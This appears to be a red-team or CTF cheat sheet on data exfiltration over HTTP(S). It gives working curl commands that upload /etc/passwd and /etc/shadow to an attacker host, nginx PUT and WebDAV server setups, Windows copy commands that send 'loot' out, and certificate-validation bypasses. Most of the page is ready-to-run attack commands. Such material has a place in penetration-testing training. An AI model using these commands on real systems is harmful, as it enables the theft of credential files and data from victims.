Uploading over HTTP(S) is the most reliable exfil path in modern networks because port 443 is almost always open outbound. This page covers every flavor of HTTP upload server you might stand up.

curl — POST (multipart) and PUT

# Multipart POST to python uploadserver
curl -X POST http://10.10.10.10:8000/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow'
curl -X POST https://10.10.10.10/upload -F 'files=@/etc/passwd' --insecure
 
# PUT (expects server-side PUT support, e.g. nginx dav_methods)
curl -T /etc/shadow http://10.10.10.10:9001/SecretUploadDirectory/
curl --upload-file /etc/shadow http://10.10.10.10:9001/SecretUploadDirectory/

Nginx with PUT Enabled

Attacker setup:

sudo mkdir -p /var/www/uploads/SecretUploadDirectory
sudo chown www-data:www-data /var/www/uploads/SecretUploadDirectory

/etc/nginx/sites-available/upload.conf:

server {
    listen 9001;
    location /SecretUploadDirectory/ {
        root        /var/www/uploads;
        dav_methods PUT;
    }
}
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
sudo systemctl restart nginx

Target uploads:

curl -T /etc/shadow http://10.10.10.10:9001/SecretUploadDirectory/

Troubleshoot: tail -f /var/log/nginx/error.log.

root vs alias

root appends the URI to the filesystem path. /SecretUploadDirectory/x.txt with root /var/www/uploads; resolves to /var/www/uploads/SecretUploadDirectory/x.txt.

WebDAV (SMB-Over-HTTP)

When SMB/445 is blocked but HTTP(S) isn’t, WebDAV lets Windows think it’s talking SMB while actually tunneling over HTTP.

sudo pip3 install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

From the Windows target:

dir \\10.10.10.10\DavWWWRoot
copy C:\loot.zip \\10.10.10.10\DavWWWRoot\
copy C:\loot.zip \\10.10.10.10\sharefolder\

\\host\... first tries SMB; if nothing listens on 445, Windows transparently falls back to HTTP(S) via the WebDAV redirector.

uploadserver (Python Module)

pip3 install --user uploadserver
python3 -m uploadserver                     # HTTP :8000
python3 -m uploadserver 443 --server-certificate ~/server.pem   # HTTPS

Exposes GET / (file listing) and POST /upload (multipart).

Generating a Self-Signed Cert

openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

Target must either trust or ignore the cert:

  • curl --insecure
  • PowerShell: [Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

Don't host your key as a web asset

Keep server.pem outside the served directory. Operators have burned themselves by leaving the private key downloadable at /server.pem.